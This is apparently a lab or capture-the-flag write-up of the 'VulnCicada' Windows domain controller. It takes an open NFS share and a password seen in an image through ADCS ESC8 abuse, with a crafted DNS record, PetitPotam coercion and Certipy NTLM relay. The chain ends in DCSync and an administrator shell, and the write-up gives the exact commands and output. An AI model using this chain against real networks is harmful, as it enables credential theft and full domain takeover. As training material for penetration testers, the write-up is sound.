CPTS Prep - VulnCicada - Windows Medium

VulnCicada is a Windows Active Directory machine that initially looks fairly uninteresting. The web server is just a default IIS installation and anonymous SMB access does not provide anything useful.

The interesting part is the NFS share running on port 2049. It exposes user profile directories, including two images. One of those images contains a password written on a sticky note.

From there, the attack becomes an Active Directory and ADCS problem. NTLM authentication is disabled, so Kerberos becomes particularly important. After authenticating as Rosie.Powell, I can enumerate Active Directory Certificate Services and discover that the certificate authority is vulnerable to ESC8.

The final attack chain is:

NFS
  |
  v
Image containing password
  |
  v
Rosie.Powell
  |
  v
Kerberos TGT
  |
  v
ADCS enumeration
  |
  v
ESC8
  |
  +--> Malicious DNS record
  |
  +--> PetitPotam coercion
  |
  +--> Certipy relay
  |
  v
Certificate for DC-JPQ225$
  |
  v
Machine account TGT
  |
  v
DCSync / secretsdump
  |
  v
Administrator NTLM hash
  |
  v
WMI shell
  |
  v
Administrator

Recon

I started with a full Nmap scan.

sudo nmap -sC -sV -p- -A 10.129.234.48

The important ports were:

53/tcp     DNS
80/tcp     HTTP
88/tcp     Kerberos
111/tcp    RPC / rpcbind
135/tcp    MSRPC
139/tcp    NetBIOS
389/tcp    LDAP
445/tcp    SMB
464/tcp    Kerberos password change
593/tcp    RPC over HTTP
636/tcp    LDAPS
2049/tcp   NFS
3268/tcp   Global Catalog LDAP
3269/tcp   Global Catalog LDAPS
3389/tcp   RDP
5985/tcp   WinRM
9389/tcp   Active Directory Web Services

There are also several high numbered RPC ports.

The combination of Kerberos, LDAP, SMB, DNS and Active Directory related services immediately suggests that this is a domain controller.

The LDAP certificate and service information also give us the hostname:

DC-JPQ225.cicada.vl

and the domain:

cicada.vl

This is worth adding to /etc/hosts.

10.129.234.48 DC-JPQ225.cicada.vl cicada.vl DC-JPQ225

DNS Enumeration

Since DNS is exposed on port 53, I checked the domain directly.

dig any cicada.vl @10.129.234.48

The response confirmed the domain and domain controller:

cicada.vl.             IN A    10.129.234.48
cicada.vl.             IN NS   dc-jpq225.cicada.vl.
cicada.vl.             IN SOA  dc-jpq225.cicada.vl. hostmaster.cicada.vl.
dc-jpq225.cicada.vl.   IN A    10.129.234.48

I also tried a zone transfer:

dig axfr cicada.vl @10.129.234.48

but it failed:

; Transfer failed.

So there was not much to gain from DNS at this stage.

Anonymous Enumeration

Next I ran enum4linux-ng.

python3 enum4linux-ng.py DC-JPQ225.cicada.vl -A

LDAP, LDAPS, SMB and SMB over NetBIOS were all reachable.

However, anonymous SMB enumeration failed and neither null sessions nor guest sessions were available.

Could not enumerate domain information via unauthenticated SMB
Could not establish null session: STATUS_NOT_SUPPORTED
Could not establish guest session: STATUS_NOT_SUPPORTED

SMB signing was also required:

SMB signing required: true

The web server was equally uninteresting. Port 80 was simply the default Microsoft IIS page.

At this point I could have spent a lot of time trying to force something out of SMB or IIS, but there was another service that deserved attention.

NFS

Port 2049 was running NFS.

I checked the available exports:

showmount -e 10.129.234.48

This returned:

Export list for 10.129.234.48:
/profiles (everyone)

The share was available to everyone, so I mounted it locally.

sudo mount -t nfs 10.129.234.48:/profiles /mnt

Listing the directory revealed what looked like Windows user profiles:

Administrator/
Daniel.Marshall/
Debra.Wright/
Jane.Carter/
Jordan.Francis/
Joyce.Andrews/
Katie.Ward/
Megan.Simpson/
Richard.Gibbons/
Rosie.Powell/
Shirley.West/

I recursively searched the mount.

find /mnt -ls

Most of the directories were empty, but two files immediately stood out:

/mnt/Administrator/vacation.png
/mnt/Rosie.Powell/marketing.png

The Documents directories were protected, but the images were accessible.

I copied the first image:

cp /mnt/Administrator/vacation.png .

The second image required root because of its filesystem permissions:

sudo cp /mnt/Rosie.Powell/marketing.png .

The images

The first image, vacation.png, showed a man parachuting with a laptop. Nothing useful immediately stood out.

The second image was much more interesting.

![Rosie Powell marketing image](Pasted image 20260904160230.png)

There was a sticky note visible in the image containing:

Cicada123

Considering the image was inside Rosie.Powell's profile, the obvious thing to try was using the discovered value as her password.

Kerberos Authentication as Rosie.Powell

One important detail on this machine is that NTLM authentication is disabled.

This can be seen with NetExec:

nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p 'Cicada123' -k

The authentication succeeded:

SMB  DC-JPQ225.cicada.vl  445  DC-JPQ225
[*]  x64 (name:DC-JPQ225) (domain:cicada.vl) (signing:True) (SMBv1:False) (NTLM:False)
[+]  cicada.vl\Rosie.Powell:Cicada123

The NTLM:False line is particularly important.

Instead of relying on NTLM authentication, I can use Kerberos.

This is also where it becomes useful to obtain a Kerberos ticket rather than repeatedly supplying the password.

Getting a Kerberos TGT

NetExec can generate a TGT for the account:

nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k --generate-tgt Rosie.Powell

This produces:

[+] TGT saved to: Rosie.Powell.ccache

The resulting credential cache can then be used through the KRB5CCNAME environment variable.

export KRB5CCNAME=Rosie.Powell.ccache

This is a useful workflow when working against an AD environment where Kerberos is preferred or NTLM has been disabled.

SMB Enumeration with Kerberos

With the Kerberos ticket available, I connected to SMB:

KRB5CCNAME="Rosie.Powell.ccache" smbclient.py -k DC-JPQ225.cicada.vl

Listing the shares gave:

ADMIN$
C$
CertEnroll
IPC$
NETLOGON
profiles$
SYSVOL

The important shares are profiles$ and CertEnroll.

profiles$ is the SMB equivalent of the NFS share we already discovered.

CertEnroll is much more interesting because it immediately suggests that Active Directory Certificate Services is installed.

CertEnroll

I entered the share:

# use CertEnroll
# ls

There were a large number of .crl and .crt files.

At first glance this might look like a huge amount of sensitive certificate material, but the certificates available through this share are public certificates. The private keys are not present.

That means the share itself is not the vulnerability.

However, the existence of ADCS is enough to justify further enumeration.

ADCS Enumeration

I used Certipy to enumerate the certificate authorities and templates:

certipy find -target DC-JPQ225.cicada.vl \
-u [email protected] \
-p Cicada123 \
-k \
-vulnerable \
-stdout

Certipy found:

Found 33 certificate templates
Found 1 certificate authority
Found 11 enabled certificate templates
Found 13 issuance policies

More importantly, the certificate authority was:

CA Name     : cicada-DC-JPQ225-CA
DNS Name    : DC-JPQ225.cicada.vl

The web enrollment configuration was:

HTTP
    Enabled : True

HTTPS
    Enabled : False

and Certipy reported:

[!] Vulnerabilities
    ESC8 : Web Enrollment is enabled over HTTP.

There were no vulnerable certificate templates reported.

This is an important distinction.

The problem is not an ESC1 style vulnerable certificate template. Instead, the certificate authority's HTTP web enrollment endpoint can be abused through NTLM relay.

Understanding ESC8

ESC8 is an ADCS attack involving NTLM relay against the HTTP certificate enrollment endpoint.

The basic attack chain is:

Victim authenticates to attacker
          |
          v
Attacker captures NTLM authentication
          |
          v
Authentication is relayed to ADCS
          |
          v
ADCS issues a certificate
          |
          v
Certificate authenticates as victim

The interesting part here is that we want the domain controller itself to authenticate to us.

If we can coerce the DC machine account to authenticate to our machine, we can relay that authentication to the ADCS web enrollment service.

That gives us a certificate for the domain controller machine account.

The attack therefore becomes:

Rosie.Powell
      |
      v
Malicious DNS record
      |
      v
PetitPotam
      |
      v
DC-JPQ225$ authenticates to attacker
      |
      v
Certipy relay
      |
      v
Certificate for DC-JPQ225$
      |
      v
Kerberos TGT
      |
      v
DCSync
      |
      v
Administrator hash

Checking MachineAccountQuota

Before attempting the Linux based attack, I checked the MachineAccountQuota:

nxc ldap DC-JPQ225.cicada.vl \
-u Rosie.Powell \
-p Cicada123 \
-k \
-M maq

The result was:

MachineAccountQuota: 10

This means a normal domain user can potentially add computer accounts to the domain, which provides another possible route involving a Windows machine joined to the domain.

I decided to use the Linux attack path instead.

Creating the Malicious DNS Record

The interesting part of the Linux attack is the malicious DNS record.

The record uses a specially crafted hostname containing a serialized CREDENTIAL_TARGET_INFORMATION structure.

The hostname used here is:

DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA

The purpose is to make the DC request Kerberos authentication for what appears to be the machine account while causing the connection to resolve back to the attacker.

I used bloodyAD to create the DNS record:

bloodyAD -u Rosie.Powell \
-p Cicada123 \
-d cicada.vl \
-k \
--host DC-JPQ225.cicada.vl \
add dnsRecord \
DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA \
10.10.14.79

The result:

[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added

The important idea here is that we are abusing DNS to redirect the authentication attempt from the DC back to our own machine.

Starting Certipy Relay

Next I started Certipy's relay listener.

certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController

Certipy reported:

[*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

The relay is now waiting for an NTLM authentication to arrive.

Coercing the Domain Controller

The next step is getting the DC to authenticate to the malicious DNS record.

I first checked the available coercion methods with NetExec:

nxc smb DC-JPQ225.cicada.vl \
-u Rosie.Powell \
-p Cicada123 \
-k \
-M coerce_plus

The box was vulnerable to several coercion techniques, including:

DFSCoerce
PetitPotam
PrinterBug

I chose PetitPotam.

nxc smb DC-JPQ225.cicada.vl \
-u Rosie.Powell \
-p Cicada123 \
-k \
-M coerce_plus \
-o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA \
METHOD=PetitPotam

The important output was:

COERCE_PLUS DC-JPQ225.cicada.vl 445
[+] cicada.vl\Rosie.Powell:Cicada123

COERCE_PLUS DC-JPQ225.cicada.vl 445
VULNERABLE, PetitPotam

COERCE_PLUS DC-JPQ225.cicada.vl 445
Exploit Success, lsarpc\EfsRpcAddUsersToFile

At this point the DC was being coerced into authenticating back to us.

Relaying the Authentication

Over on the Certipy listener, the incoming authentication appeared.

The relay successfully authenticated against the ADCS HTTP enrollment endpoint:

[*] Received connection from 10.129.234.48
[*] Authenticating against http://dc-jpq225.cicada.vl as / SUCCEED

Certipy then requested a certificate using the DomainController template:

[*] Requesting certificate for '\\'
    based on the template 'DomainController'

[*] Certificate issued with request ID 95
[*] Retrieving certificate for request ID: 95
[*] Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'

Finally, Certipy saved the certificate and private key:

[*] Saving certificate and private key to 'dc-jpq225.pfx'
[*] Wrote certificate and private key to 'dc-jpq225.pfx'

We now have a certificate that can be used to authenticate as the domain controller machine account.

Authenticating with the Machine Certificate

The certificate can be converted into a Kerberos TGT using Certipy:

certipy auth -pfx dc-jpq225.pfx -dc-ip 10.129.234.48

Certipy identified the certificate as belonging to:

DC-JPQ225.cicada.vl

and used the machine account:

[email protected]

The important output was:

[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'

This gives us a Kerberos credential cache for the domain controller's computer account.

Certipy also retrieved the machine account NT hash.

[*] Trying to retrieve NT hash for 'dc-jpq225$'
[*] Got hash for '[email protected]'

The TGT is the more interesting piece here because it can be used for further domain authentication.

DCSync with the Machine Account

The machine account itself cannot simply give us a shell.

However, the domain controller machine account has the privileges required to perform a DCSync operation against the domain.

I used the Kerberos cache with secretsdump:

KRB5CCNAME=dc-jpq225.ccache \
secretsdump.py \
-k \
-no-pass \
'cicada.vl/[email protected]' \
-just-dc-user administrator

secretsdump used DRSUAPI to request the Administrator credentials from Active Directory:

[*] Dumping Domain Credentials
[*] Using the DRSUAPI method to get NTDS.DIT secrets

This returned the Administrator NTLM hash.

At this point the domain was effectively compromised.

Validating the Administrator Hash

I tested the recovered Administrator hash with NetExec:

netexec smb dc-jpq225.cicada.vl \
-u administrator \
-H <ADMINISTRATOR_NTLM_HASH> \
-k

The result confirmed that the hash was valid:

[+] cicada.vl\administrator:<ADMINISTRATOR_NTLM_HASH> (Pwn3d!)

The Pwn3d! result means that the credentials provide administrative access over SMB.

Getting a Shell

With the Administrator hash, I used Impacket's wmiexec.py:

wmiexec.py \
cicada.vl/[email protected] \
-k \
-hashes :<ADMINISTRATOR_NTLM_HASH>

This provided a semi-interactive command shell.

Checking the current user:

whoami

returned:

cicada\administrator

We now have an Administrator shell on the domain controller.

Flags

The flags were located in the Administrator desktop:

cd \users\administrator\desktop

Then:

type user.txt

and:

type root.txt

Both flags were accessible as Administrator.

Attack Chain Recap

This box ended up being a really good example of why Active Directory enumeration needs to go beyond simply looking for passwords.

The initial foothold came from an unexpected place:

Public NFS share
        |
        v
User profile directories
        |
        v
Image
        |
        v
Password

That password provided authenticated Kerberos access:

Rosie.Powell
        |
        v
Kerberos TGT

From there, ADCS became the important attack surface:

ADCS enumeration
        |
        v
ESC8
        |
        v
Malicious DNS record
        |
        v
PetitPotam
        |
        v
DC authentication
        |
        v
Certipy relay
        |
        v
Domain Controller certificate
        |
        v
Machine account TGT
        |
        v
DCSync
        |
        v
Administrator hash
        |
        v
WMI
        |
        v
Administrator

Lessons Learned

Do not ignore unusual services

The initial IIS page was completely uninteresting, and anonymous SMB enumeration did not provide anything useful.

NFS, however, was exposed on port 2049 and allowed everyone to mount the /profiles export.

That single service provided the initial credentials.

Images can contain credentials

The password was not stored in a text file or configuration file. It was visible in an image.

Whenever a share contains images, documents or other apparently harmless files, they are still worth inspecting.

Kerberos matters when NTLM is disabled

NetExec repeatedly reported:

NTLM:False

That changes the enumeration strategy.

Instead of trying to fall back to NTLM, obtaining a Kerberos TGT and working with a .ccache becomes extremely useful.

For example:

export KRB5CCNAME=Rosie.Powell.ccache

allows tools that support Kerberos to authenticate without repeatedly supplying the user's password.

ADCS deserves its own enumeration step

Finding CertEnroll was a useful clue, but the actual vulnerability was not visible simply by looking at the certificates.

Running:

certipy find ... -vulnerable

revealed that the CA had HTTP web enrollment enabled and was therefore vulnerable to ESC8.

ESC8 does not require a vulnerable certificate template

This was one of the most useful lessons from this machine.

Certipy did not report a vulnerable certificate template.

Instead, it reported:

ESC8: Web Enrollment is enabled over HTTP.

The vulnerability exists at the CA web enrollment layer, allowing a relayed NTLM authentication to be used to request a certificate.

Machine accounts can be extremely powerful

The final certificate represented the DC's machine account:

DC-JPQ225$

Obtaining a TGT for that account was enough to perform a DCSync operation and retrieve the Administrator credential material.

That turned a certificate for a computer account into full domain compromise.

Final Thoughts

VulnCicada was a great demonstration of how several seemingly minor findings can combine into a complete Active Directory compromise.

Nothing about the initial web server suggested an obvious route in. Anonymous SMB access was also a dead end. The important discovery came from looking at NFS and treating the exposed user profiles as worth investigating.

Once the password for Rosie.Powell was discovered, the box became an ADCS attack.

The biggest takeaway for me was the importance of following the chain instead of evaluating individual findings in isolation. A public NFS share by itself might not look catastrophic. HTTP ADCS web enrollment by itself might not immediately provide access. PetitPotam by itself does not give you Administrator.

Put together, however:

NFS
+
Credentials
+
Kerberos
+
ADCS ESC8
+
DNS manipulation
+
PetitPotam
+
NTLM relay
+
Machine certificate
+
DCSync
=
Domain Administrator

That is what made VulnCicada such a useful Active Directory machine to work through.